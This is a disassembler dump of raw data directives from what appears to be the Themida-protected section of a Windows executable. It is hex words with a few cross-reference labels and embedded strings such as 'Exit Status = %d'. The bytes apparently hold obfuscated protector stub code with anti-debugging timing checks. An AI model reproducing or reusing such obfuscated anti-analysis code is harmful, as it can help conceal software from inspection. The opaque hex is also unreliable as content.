		dd 0D1ED815Dh, 8D064836h, 48368F85h, 0B8818906h, 5D000000h
		dd 0C3C03359h, 58F6496h, 0
		dd 6A04C483h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0FC69C353h, 8C660CB3h,	80DF8BD9h
		dd 0DF8004E1h, 0FC90AB3h, 6485h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 4DA4D2A5h
		dd 0B929317Ch, 6E978h, 23100000h, 512F247h, 194985C7h
		dd 10648h, 6E90000h, 2D000000h,	968E6DFAh, 13E926h, 80020000h
		dd 7F02F7C7h, 0CB0C33C5h, 0E6CABA60h, 88467B3Bh, 0DE9ECh
		dd 0DF800000h, 4985C720h, 64819h, 89000000h, 482C2185h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 1EADBB61h, 0D3014B8Ah, 0B7D98B8Ah, 95858908h
		dd 0E8064821h, 0Ch, 9260734Ah, 52DE4ECAh, 16AB2681h, 6850Fh
		dd 66570000h, 580865BEh, 66C3815Bh, 0B9000066h,	20609154h
		dd 8824C181h, 33FFDF9Fh, 10E95Ah, 0AE760000h, 648C7435h
		dd 577173Ch, 35E90BA1h,	0F281C655h, 628B5F5Ah, 0CE816653h
		dd 815FE844h, 8F7C7BF2h, 0C6BF0F2Ch, 0CD07F281h, 0E58A758Ch
		dd 0C0816652h, 38F32FBh, 8E8h, 8BD3B000h, 0E22CB7D0h, 0B70F573Fh
		dd 83585FF3h, 0E98304EBh, 0A3850F01h, 80FFFFFFh, 0D8E9F4C4h
		dd 0F000006h, 684h, 0E9958900h,	17064826h, 69000002h, 64818h
		dd 58D0900h
		db 1Ch,	48h, 6
byte_5405E7	db 60h			; DATA XREF: Themida_:0053CE80o
		dd 1D918589h, 0B5890648h, 64808B1h, 0B8h, 1840F00h, 0F8000000h
		dd 2824548Bh, 0CD8589FCh, 9064824h, 4830B985h, 3CBE06h
		dd 5E90000h, 0E8000000h, 7CDE908Dh, 24247403h, 0A1BD8B60h
		dd 0F064827h, 28Bh, 61E38A00h, 0BD89AD66h, 6482A51h, 24244403h
		dd 8B666060h, 616160CEh, 505061F8h, 0F525052h, 87h, 0E9310F00h
		dd 12h,	4C92BAD8h, 0B5DA51A3h, 3D0FF7CAh, 3D02FD7Eh, 585A6433h
		dd 0AE9310Fh, 46000000h, 0E2E73112h, 9AECFDB8h,	89585A6Bh
		dd 840F2404h, 0Ch, 7E9h, 0AC99F100h, 75BCC98Fh,	0E978408Bh
		dd 8, 927DC0C7h, 0CB095E05h, 28244403h,	18408BFCh, 0EE9h
		dd 0A4B75800h, 83402F90h, 3AA5E898h, 40C090EFh,	6E960h
		dd 0E1C0000h, 312B801h,	61D38B66h, 38688589h, 7E90648h
		dd 0BC000000h, 0A78BD844h, 2958AF87h, 48069DBDh, 78708B06h
		dd 1CC683FCh, 0C810Fh, 820F0000h, 6, 0DEDBD09h,	74030648h
		dd 8D012424h, 6482E71h,	1999BD8Dh, 85010648h, 6482C51h
		dd 0A18D01ADh, 306480Bh, 0E9242444h, 6,	90DDDB05h, 6660C44Eh
		dd 0E9E7FEB8h, 6, 36E594E8h, 0AB61C3E8h, 31F1BD89h, 0BD8D0648h
		dd 6480531h, 0EE960h, 50790000h, 0DA49202h, 11C08B63h
		dd 5B422A50h, 5D4E681h,	896160E9h, 48321DB5h, 0FF8AD06h
		dd 180h, 4403F900h, 7E92424h, 0B6000000h, 0B4F2E98Eh, 5050120Bh
		dd 0E9525052h, 0Fh, 34C72722h, 6B49077Fh, 4A1B426Ah, 0F05CBAFh
		dd 800F31h, 5A000000h, 0E9310F58h, 13h,	156C83Fh, 78D1AF30h
		dd 66A88B6Bh, 23A428BBh, 5AA0AE7Bh, 24048958h, 8DF5ABF9h
		dd 480E01BDh, 18E0F06h,	0F8000000h, 0CDB589ADh,	0E906482Ah
		dd 0Ah,	0C19834Fh, 0C34CB249h, 44036F9Dh, 0B5012824h, 6482B29h
		dd 0DE9ABh, 5E80000h, 0F38263Ch, 0BF4565D4h, 5E93EE47h
		dd 1A399D29h, 8DFF0648h, 6483868h, 3868BD83h, 75000648h
		dd 2444C710h, 1Ch, 0B58D00h, 0FF06483Dh, 3AD56E6h, 97282444h
		dd 858ADF8Bh, 648276Dh,	474C084h, 4C75073Ah, 0AEC03257h
		dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh
		dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h,	66504135h
		dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h
		dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 24CD85FFh
		dd 6FE90648h, 5EFFFFFFh, 2A2D8D89h, 8D890648h, 6481DE1h
		dd 1485BD89h, 858B0648h, 64824CDh, 0D719501h, 0E0D10648h
		dd 6800Fh, 95890000h, 6480A15h,	0E018503h, 820F0648h, 6
		dd 15718589h, 0F62B0648h, 0EE9h, 0ADB5CF00h, 9FF160E8h
		dd 0ED20A56Eh, 9626BD7Dh, 0D09B531h, 0AD660648h, 7919BF60h
		dd 61F5263Dh, 2902E0C1h, 480FB9B5h, 99850306h, 60064819h
		dd 118A0Fh, 0CE90000h, 57000000h, 4FF319E0h, 8D036271h
		dd 608C1809h, 1DF5BD8Bh, 958B0648h, 6482B49h, 89966161h
		dd 480DB5BDh, 9E9AD06h,	8A000000h, 3CAF2519h, 0CC67C2B0h
		dd 24244C8Bh, 2C258D89h, 9D010648h, 64815A9h, 24244403h
		dd 0E19D29FCh, 8906481Bh, 0F81C2444h, 0E5B50996h, 0AC06480Eh
		dd 13C98D31h, 0C9320648h, 13E9h, 193AB700h, 822CD7B5h
		dd 1707BDA4h, 9DC88C98h, 27BF6516h, 10E9C1FEh, 32000000h
		dd 0E710B528h, 6941065Bh, 8D24101h, 0D0BE3229h,	0B0830FD0h
		dd 0E9000000h, 6, 41FBD675h, 0D0D0B404h, 9D830Fh, 9D290000h
		dd 64810F1h, 820FD0D0h,	8Fh, 0CE9h, 5C4B00h, 18F744Eh
		dd 8889AB2Fh, 0FD0D059h, 7682h,	0C830F00h, 0F000000h, 68Ch
		dd 69858900h, 0FE06482Eh, 0A4890FC9h, 1FFFFFFh,	481B6D95h
		dd 20C48306h, 2444C7F5h, 0FCh, 14E900h,	40190000h, 0B06591CDh
		dd 0C02E28B5h, 0B5ED281Ah, 5B676743h, 1B87786h,	0E9000000h
		dd 0Eh,	0AA6988h, 0F79F508Ch, 4CCCE34Ah, 8D8D9755h, 6486F77h
		dd 306DBD01h, 0E1FF0648h, 2DBD8960h, 8006482Ah,	0C66103EEh
		dd 48276D85h, 0BD890006h, 64823D1h, 8D99D89h, 0F9610648h
		dd 0F50008C2h
dword_540A88	dd 8890F96h, 0F000000h,	280h, 50616000h, 0CE95250h, 68000000h
					; DATA XREF: Themida_:0053D6A0o
		dd 7AB7D7Bh, 6367BFA5h,	0F0D9125h, 0AE86031h, 4D000000h
		dd 0A0D01E93h, 705426B0h, 0BF665B23h, 5A61A1F1h, 8E99658h
		dd 0E000000h, 47FCDA4Eh, 89728BC5h, 483EE9B5h, 8D89F906h
		dd 6483F16h, 2D09BD01h,	0B58D0648h, 6483DCAh, 35858DF8h
		dd 60005B7Eh, 193D9D89h, 81660648h, 618492F0h, 0BDA8A60h
		dd 4829659Dh, 0D0FF6106h, 0DABF0F60h, 61DE8B66h, 68E0F5Eh
		dd 9000000h, 4814018Dh,	0BD89C306h, 6480075h, 0CE9h, 33D79200h
		dd 0DB3AE906h, 0D31268D8h, 0E9B58BEDh, 2906483Eh, 482E59B5h
		dd 168D8B06h, 0E906483Fh, 8, 0BFB93694h, 84572B2Bh, 0B8h
		dd 65858900h, 8B064824h, 0B70F60D9h, 69B589FBh,	61064832h
		dd 0CCE9F5h, 95090000h,	6480DC5h, 14D99D09h, 26320648h
		dd 23698D89h, 2B20648h,	13E9h, 5740C00h, 3E94CBC0h, 0E968151Eh
		dd 55D29C04h, 18A68EBDh, 74E9h,	0DE900h, 3950000h, 0B445D8AEh
		dd 0D4024A34h, 329ADF8Eh, 518D89C2h, 506482Ch, 8A751D7Ah
		dd 12E9h, 0B13A9F00h, 0E4717948h, 87C32E7Dh, 868A5BBBh
		dd 8AA202C0h, 9D8960CCh, 6481881h, 0A98D8B56h, 58064808h
		dd 31C8D361h, 4814C18Dh, 8423506h, 12E998D1h, 39000000h
		dd 0D496FC7Bh, 772EE9B2h, 3D23E642h, 0F3D89CAAh, 89CAFEDCh
		dd 482465B5h, 0FD20A06h, 0FFFF9685h, 0AE9FFh, 380E0000h
		dd 0A91EAAA7h, 976F6E89h, 0CD95294Bh, 46064828h, 21618D89h
		dd 0DB0B0648h, 0FF38850Fh, 0B529FFFFh, 6482261h, 0FD9D89CFh
		dd 0F5064827h, 0DE90000h, 5F000000h, 0C9BD1E56h, 9BD78A12h
		dd 4C7475FFh, 6830Fh, 95290000h, 648284Dh, 0F600000h, 8D89F7BFh
		dd 6482755h, 60000061h,	0B7FEB70Fh, 61ACh, 0EE9h, 0AC5E400h
		dd 321DCF31h, 554FF78Ah, 8DE88208h, 48387885h, 10E906h
		dd 54190000h, 0EE3AC4Dh, 6A1327BEh, 0A728CBAh, 8589ACF8h
		dd 6480111h, 0BE9h, 7A701500h, 2DD7BCE3h, 0C3FD99D0h, 3D19858Dh
		dd 8A0F0648h, 1Bh, 15850Fh, 10E90000h, 7B000000h, 0D7CB71D6h
		dd 743C5372h, 0F6FC5B75h, 89C45CEFh, 48093185h,	0AE806h
		dd 0AC90000h, 5AB7DE6Dh, 1300772Ch, 5ED9BF0Fh, 1C999D8Bh
		dd 0C6810648h, 5AF4h, 0EE9h, 969CE800h,	0C8284FB4h, 7CE203A9h
		dd 0B85C8DDCh, 3C22E476h, 0F2ECF081h, 0BD8B3C22h, 6481929h
		dd 5B52168Bh, 191AC281h, 0DE97CFEh, 6A000000h, 0FA3C9961h
		dd 12BA58C6h, 0A0E171Dh, 0D196EA81h, 89514605h,	482ED1BDh
		dd 0C2815906h, 0A1FF1CAh, 0F599D23h, 16890648h,	4A764EBFh
		dd 2EE8317h, 8B664E4Eh,	850F48D9h, 0FFFFFFB4h, 0CFDBD8Bh
		dd 14EB0648h, 4	dup(0)
		dd 8Bh,	40EC858Dh, 85890648h, 6481B8Dh,	4035BD83h, 0F000648h
		dd 12C84h, 6D85C600h, 56064827h, 0B7632A68h, 24048193h
		dd 40680A0Fh, 2C21B5FFh, 858D0648h, 6483878h, 8589D0FFh
		dd 6484029h, 276D85C6h,	68560648h, 5800F396h, 0BC240481h
		dd 0FF44A7C4h, 482C21B5h, 78858D06h, 0FF064838h, 2D8589D0h
		dd 6A064840h, 81646804h, 4819FBAh, 458E9C24h, 39858B60h
		dd 5064840h, 1F4h, 5002E0C1h, 6A240489h, 2D95FF00h, 89064840h
		dd 48403185h, 0B8D88B06h, 0FFFFFFFFh, 1B8D95FFh, 0C38B0648h
		dd 1B8D95FFh, 96E90648h, 83000000h, 484035BDh, 850F0006h
		dd 1, 0BD8B57C3h, 6484031h, 318583ABh, 4064840h, 0BD83C35Fh
		dd 6484035h, 1850F00h, 0C3000000h, 31AD8360h, 4064840h
		dd 40319D8Bh, 7B830648h, 850FFFFCh, 26h, 4E8h, 800000h
		dd 448B5000h, 8B0424h, 4244489h, 0FF006A58h, 2995FF33h
		dd 61064840h, 26E9C3h, 4E80000h, 0
		dd 50000080h, 424448Bh,	4489008Bh, 6A580424h, 0FF33FF00h
		dd 48402995h, 31AD8306h, 4064840h, 0FFFF9FE9h, 0D3E948FFh
		dd 7000009h, 6A2AD5Bh, 0B1CB2DD3h, 15DA878Eh, 95CFACDFh
		dd 0CFB0D81Eh, 0A8D411h, 33FF3B53h, 5A01BFCDh, 0DAFAD7Dh
		dd 0A3C32191h, 489D599h, 9A8AABCDh, 0BFD3B755h,	1DBCDE1Bh
		dd 33AD3752h, 5507BDCDh, 17AFAD7Eh, 0B9DE3E91h,	1897D586h
		dd 8E9DB0D3h, 8BB0DC5Bh, 1DB8C957h, 32FF7A43h, 4107A883h
		dd 11B6AD68h, 0B7DE3FDEh, 0DB86h, 62h dup(0)
		dd 7000000h, 0CABAD5Bh,	0B9D831DFh, 0F8AD599h, 969DB8D1h
		dd 8EB69D16h, 0BBF9B04h, 20AD7552h, 5006A4CCh, 0DB3FF3Ah
		dd 0B1C231DFh, 5D949CCBh, 859AB0C7h, 9CA7CE5Bh,	40B0DE03h
		dd 2ADD163Dh, 511BB0C6h, 0DB3AD36h, 0B2CD37DDh,	5D8E9CCBh
		dd 9A80ADD8h, 82BBD05Bh, 4EA4C918h, 66E97556h, 401BB4D1h
		dd 43B2FF7Bh, 0A4D937C8h, 128885CBh, 9A8EADD9h,	55h, 47h dup(0)
		dd 7000000h, 11A5AD5Bh,	0B3C73BD0h, 5D89D299h, 9B80B0CAh
		dd 9CBFD55Bh, 0BB8D957h, 29EB3B59h, 140CBFD6h, 0DA8F868h
		dd 0F6CB36D8h, 4DA9B82h, 0D79DAAD1h, 9BADC408h,	64F3D612h
		dd 23E14B3Ah, 180DA2C2h, 0FA8F83Ah, 0F6C839DEh,	1BDA8182h
		dd 0D782B0CCh, 80B3D816h, 0FFDC205h, 34AD7F59h,	551CA2C6h
		dd 1AE6F968h, 0F6DE2DDEh, 1A95879Bh, 0D982BECCh, 61h dup(0)
		dd 7000000h, 6AAE45Ch, 0A4C33B91h, 98A8099h, 0D9CEBBDBh
		dd 86B6E95Bh, 1CAD9B04h, 27FF7C58h, 5500F1CEh, 6A4AD69h
		dd 0BB8C36D4h, 0D939B8Ah, 838EB3CBh, 8EFED91Eh,	3FDDF19h
		dd 23EF6256h, 4001DCA9h, 0AE6FE3Dh, 0B5C93EDFh,	5D9E909Fh
		dd 96CFA6DCh, 9DB7EB5Bh, 1FDC802h, 34EE3B45h, 5103B2C2h
		dd 37E6A37Eh, 0F6DF31D9h, 18969C8Dh, 9980A89Eh,	98FEC95Ch
		dd 4EB6C918h, 2BF47556h, 1A0DA3CCh, 0E0h dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		dd 5EE90000h, 6600002Dh, 0FCBC66BAh, 0C08B11B2h, 68F0Fh
		dd 8D310000h, 648098Dh,	20E9BD83h, 75000648h, 61BD8309h
		dd 6482Ch, 53501374h, 1B8C08Bh,	8D000000h, 4AAECE9Dh, 5BD3FF06h
		dd 61BD8358h, 6482Ch, 53501174h, 1B8h, 7F9D8D00h, 0FF064AADh
		dd 80585BD3h, 810FD8D6h, 16h, 11E9h, 0D0875200h, 8AEF54F3h
		dd 11533DE2h, 5626B81h,	0CF80E1EEh, 6AC08BD2h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 8572C351h, 9D8B9CAFh, 6482141h, 1A09BD83h, 0F000648h
		dd 15084h, 60C38000h, 8D896051h, 64808C5h, 1AB19D89h, 5B610648h
		dd 27E5BD83h, 0F000648h, 13084h, 3860F00h, 0F000000h, 8960D1BFh
		dd 481EF58Dh, 0E5858B06h, 5064827h, 3E8h, 50ACD280h, 4895EB6h
		dd 6800F24h, 89000000h,	482EFD95h, 42858D06h, 0E906484Bh
		dd 0Fh,	0CFB8B469h, 286AC9Ah, 4A469DB8h, 50B439ECh, 0BA82BA66h
		dd 89240489h, 482F15BDh, 0C58D8906h, 8D064813h,	484B2085h
		dd 0DED38006h, 24048950h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 3C35747h, 814D932Ah, 7CAB548Fh, 41BD89F7h
		dd 0FF06480Ah, 4804D195h, 35950906h, 83064806h,	958B0CC4h
		dd 6480E6Dh, 4B20858Dh,	0F2800648h, 0E95290E2h,	0Bh, 8F8D61h
		dd 0D7A00D3Bh, 5A29C4F1h, 0F525050h, 1780h, 12E900h, 50A30000h
		dd 0D761808Ch, 0A32C2638h, 59E76E71h, 6C64FC31h, 8A0F310Fh
		dd 6, 310F5250h, 585A585Ah, 6AD4B390h, 51006A02h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0B19D8B37h, 0FF064808h, 68857495h, 45958B00h, 6106482Dh
		dd 958B49BAh, 5385C75Dh, 106484Bh, 89000000h, 481DDD9Dh
		dd 0B9609606h, 1864F6D9h, 0B522BE66h, 870F5061h, 2, 8B9603B2h
		dd 48210195h, 4B58906h,	0F06484Bh, 0BD83D1B7h, 6481949h
		dd 69850F01h, 0E9000000h, 13h, 49ACF3A8h, 0E2FB7992h, 4FD60C4h
		dd 3ADBCCE0h, 835100C5h, 850F05F8h, 48h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 17h, 8FC35747h, 897F0828h
		dd 4825818Dh, 0B806h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 36B3EEC3h, 23CDBD83h
		dd 0F000648h, 4D84h, 0ED9D8B00h, 0B806482Bh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 2FC35343h
		dd 40BC1E47h, 54944956h, 14E9521Eh, 0E0000000h,	0FA6E9A01h
		dd 7E4A6820h, 0D83B0DECh, 93FC2648h, 5A9D773Fh,	896021B6h
		dd 480E498Dh, 0D5858B06h, 6006480Fh, 0B8F38B66h, 109C1F0Ch
		dd 2C08361h, 0AE9h, 47F07600h, 0B1417EB9h, 89D339A5h, 484AFC85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0BF0FF71Ah, 0FF00C6D6h, 2830Fh, 0DE8B0000h
		dd 276D85C6h, 66530648h, 9D8BD78Bh, 6480239h, 0BCAC7E68h
		dd 8ABA57A2h, 5B4415A0h, 0A6243481h, 665E0DE4h,	958BD38Bh
		dd 6480EEDh, 2195B5FFh,	0F38A0648h, 831E858Dh, 6A064Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 203339C3h, 0E88CB8ABh, 0FF2B97C9h, 8840FD0h,	50000000h
		dd 0EED9D29h, 895A0648h, 48306185h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0D2991FE9h
		dd 8E5D18B0h, 3DBD89h, 0BD830648h, 6480FB1h, 18850F01h
		dd 0B3000001h, 0BB666128h, 13E9BCAAh, 24000000h, 224E067Eh
		dd 7EA564E3h, 51489995h, 0C4436431h, 85C65B23h,	648276Dh
		dd 0ADB58945h, 0E8064829h, 4, 0DA6038C2h, 665096B7h, 448BD38Bh
		dd 0E8B20424h, 5250008Bh, 310FD68Bh, 5ADF8B66h,	24448958h
		dd 13E804h, 0DD750000h,	0ED07A31Ah, 53FDA90Ah, 8C97D4D1h
		dd 59D75859h, 6A585B81h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 9FF6C353h, 0BE81Dh
		dd 2AA20000h, 6640ACBCh, 66B54E43h, 958B5B6Eh, 6481B6Dh
		dd 2195B5FFh, 43B70648h, 831E858Dh, 6A064Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 2B45C9C3h
		dd 6C82A419h, 0FFD88B66h, 499D29D0h, 60064806h,	10E8h
		dd 0B60C9000h, 0A02E48D0h, 2444882Eh, 9ACDEB5Ch, 5E5E57A2h
		dd 7E9h, 83F79E00h, 0D59DB01h, 89006A61h, 481BE1BDh, 0FD0FF06h
		dd 68Ch, 3D958B00h, 8306480Eh, 482A1DBDh, 850F0106h, 0BFh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 9CC35040h
		dd 82F08BB3h, 341FAEC0h, 0D5858BB7h, 8906480Fh,	4814A1B5h
		dd 76E906h, 0F2800000h,	0D78B5025h, 8B240489h, 48237D9Dh
		dd 6A146A06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0DF35C353h, 2F018589h,	95FF0648h
		dd 6483061h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	8EC35242h, 564C3747h, 653B587Dh, 58D08B66h, 8E8h
		dd 0D07FA700h, 0EBBDE01Bh, 3DBD896Ch, 5B064806h, 0F003880h
		dd 0FFFF8485h, 718501FFh, 0C606480Eh, 61F90100h, 0BD83F58Ah
		dd 6482039h, 40840F00h,	66000000h, 6A523CBAh, 53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 2D50EA48h, 95145223h, 0C3816637h, 95FF921Eh,	6483061h
		dd 0C8E9DD8Ah, 66FFFFFFh, 0C7F561BAh, 48203985h, 106h
		dd 13860F00h, 0E9000000h, 0Eh, 0D19842A9h, 2E05A293h, 0A109449Bh
		dd 858952E7h, 6484B08h,	2DD9B501h, 8B660648h, 0BB5090D0h
		dd 92A284Ch, 9E8505Bh, 0
		dd 0A527F096h, 595AF29Fh, 0DE957h, 79B40000h, 0C8134DC5h
		dd 2E5CF9AAh, 5A05740Ch, 8B66905Bh, 60D88BDFh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0DBC35040h, 0A8203A4Ch
		dd 56AFAA5h, 13E9h, 42E64300h, 778FBABFh, 66D5BAEDh, 4CE7EB0Eh
		dd 74AA05E6h, 13E9h, 9E9B1800h,	7E35D87Eh, 1E9CF0A5h, 3812D7EBh
		dd 0E06846DBh, 4B20858Dh, 8B660648h, 0F6090D0h,	582h, 0E296BB00h
		dd 11E92F6Dh, 0F5000000h, 0E98FCC74h, 79867521h, 434C3257h
		dd 0E60D79ACh, 8E0F5061h, 2, 0F990D88Bh, 4B10858Dh, 6A0648h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 93AC7C3h, 0D0DB818Fh, 50446EC5h, 5AD48A53h, 6A240489h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0AEA1C353h, 0FAE2E2Eh, 6660D1B7h,	0F2CFDB81h
		dd 0D09BD31h, 0FF610648h, 481E5995h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0FFA73326h
		dd 409266E1h, 0E8D38166h, 816660E8h, 0E814B9F0h, 0Bh, 63CB4D0Dh
		dd 0AE7ABDE9h, 668214B1h, 5ECDE5BFh, 688D8D61h,	29064878h
		dd 4805DDBDh, 74C00B06h, 20858D11h, 5006484Bh, 8589D1FFh
		dd 6484B3Eh, 85C70AEBh,	6484B3Eh, 0FFFFFFFFh, 63D9D8Bh
		dd 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 34FDD0C3h, 9589605Dh, 6482DA1h, 8D8589h
		dd 61610648h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Dh,	18C35141h, 6CD27D80h, 1971F497h, 89F86072h, 480AA995h
		dd 85296106h, 648181Dh,	276D85C6h, 6A4D0648h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 6F0EC350h, 8BEBE437h, 0D0A368DEh, 3BB76202h,	5240481h
		dd 6A4232A6h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 1D9DC350h, 8DCD04C8h, 0F57B20A3h
		dd 10E9h, 6630C200h, 0F96735B3h, 24B3A777h, 84D0225Dh
		dd 75B5FF47h, 66064821h, 8D95D5BAh, 4B831E85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 7B5C14FBh, 0FE0BA0F1h, 2959958Bh, 0D0FF0648h, 8589DA8Bh
		dd 64832D5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0F9C35141h, 9D1E36B3h, 0F52A359Ch, 5BDA8082h, 276D85C6h
		dd 0E8450648h, 9, 27A29551h, 5FC3C647h,	0E38166EBh, 0E85B7DA6h
		dd 4, 8E726969h, 8B50D58Ah, 66042444h, 8BDE8Bh,	12E85250h
		dd 68000000h, 8DE684C1h, 0AFE59F4Eh, 0EE229B7Ch, 0FC7EDAC0h
		dd 11E98Bh, 0E3D80000h,	687AFFDAh, 0D49063A4h, 0C5AB4B84h
		dd 5A799797h, 0DA8B310Fh, 4489585Ah, 52500424h,	310FF48Ah
		dd 14E8h, 8629400h, 751E1ED9h, 75BF434Dh, 0BA70D534h, 1DE6D4FAh
		dd 585A5A83h, 0F606058h, 161D7BFh, 48306DB5h, 8E0F6106h
		dd 13h,	0EE9h, 0F987A100h, 0AD7AB257h, 3E8B2167h, 0FF9BFACBh
		dd 482195B5h, 8DD18B06h, 4B831E85h, 0D8C28106h,	0FF258322h
		dd 57006AD0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0DDB787FFh, 4618F3D4h, 0FA00B2BAh, 699D8B51h
		dd 29064824h, 4830159Dh, 69858906h, 6A06482Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0BB27C350h, 555ABF03h, 6AD28Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 905E7AC3h, 92983D99h
		dd 0E9A4E512h, 0Ah, 0AAA7380Eh,	6E89A91Eh, 8C66976Fh, 6820FD9h
		dd 89000000h, 4805E185h, 4C1F606h, 243840Fh, 800F0000h
		dd 14h,	8E8h, 6FD2BE00h, 673E8F0Bh, 2D958938h, 5A064830h
		dd 157E9h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 5638E797h, 0BCBDE331h, 0B58B40E9h
		dd 6482279h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0CCC35040h, 14E59D8Bh, 0C6810648h, 1180h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D7C35545h, 6F989057h
		dd 93721791h, 2F19BD83h, 0F000648h, 4A85h, 10800F00h, 0F000000h
		dd 0A87h, 5E900h, 8A2B0000h, 0E9CC5DF6h, 0ACh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0CDC35646h, 21D9953Eh
		dd 0FC6051C5h, 618DE680h, 71BD895Ah, 8306481Bh,	840F003Eh
		dd 74h,	206EBA66h, 0DBB70F60h, 6A146Ah,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 3A468DC3h
		dd 9B5A6402h, 306195FFh, 85090648h, 6482D15h, 0B8E9F561h
		dd 6AFFFFFFh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 8FC2C351h, 0B151608Fh,	0E8605EA9h
		dd 9, 7D067F2Dh, 6AF43A08h, 61615E75h, 106C7h, 0F3810000h
		dd 1DB9BA2Fh, 4B08BD83h, 0F050648h, 0C085h, 8E95200h, 0F1000000h
		dd 0D53648C8h, 5A8BF08Ah, 2A69B58Bh, 0B3520648h, 0BCB65BEBh
		dd 64B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0BA2EE2B5h, 11E988h, 0EF570000h
		dd 0C1849AF7h, 4DBC8188h, 833176A4h, 8023151Bh,	840FE83Eh
		dd 8, 0DE9D78Bh, 0F5000000h, 0C2057E80h, 3D840Fh, 0F88A0000h
		dd 495DB746h, 0FFD9850Fh, 0E9F5FFFFh, 3Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 8AC35545h, 0CD124A24h
		dd 757E85DBh, 0E9BD89ADh, 89064826h, 480029B5h,	0FFC38106h
		dd 89070C35h, 481FB59Dh, 6A5806h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0BFB4C6C3h, 3DFF93BCh
		dd 0BF0F9B6Eh, 4DBD83D8h, 6480Bh, 0AF840Fh, 0BF0F0000h
		dd 9D0360DAh, 6482D09h,	2EDD9D8Bh, 85C60648h, 648276Dh
		dd 40B2BB54h, 0A4684AA5h, 0B3D6EA28h, 24348157h, 29A49650h
		dd 9AE38166h, 95B5FF5Dh, 60064821h, 12870Fh, 0DE90000h
		dd 0E0000000h, 8D2708E0h, 0ADA1CF05h, 30454CDCh, 2B299D8Bh
		dd 8D610648h, 4B831E85h, 78E0F06h, 50000000h, 0B6D28166h
		dd 0D0FF5BCAh, 0DE9h, 0EA5CD500h, 0C343F15Ch, 7633474Ah
		dd 6A2486h, 0DE8h, 62B17400h, 8325BC3h,	71B69F89h, 0BD895BABh
		dd 6480BB9h, 4DB5FF5Bh,	8906480Bh, 480DD1BDh, 33D0FF06h
		dd 480D6D9Dh, 0BF0F6106h, 0A585C7D0h, 1064819h,	0F000000h
		dd 28Fh, 60D18B00h, 0F52F380h, 68Fh, 9950B00h, 0E8064806h
		dd 4, 80h, 4060BB56h, 505A7E83h, 448B47B6h, 71B60424h
		dd 860F008Bh, 5, 5B6FEFBBh, 2444891Dh, 5830F04h, 0BB000000h
		dd 1346087Eh, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0FFB0B4Bh, 0FF6AD3BFh, 1E75958Bh
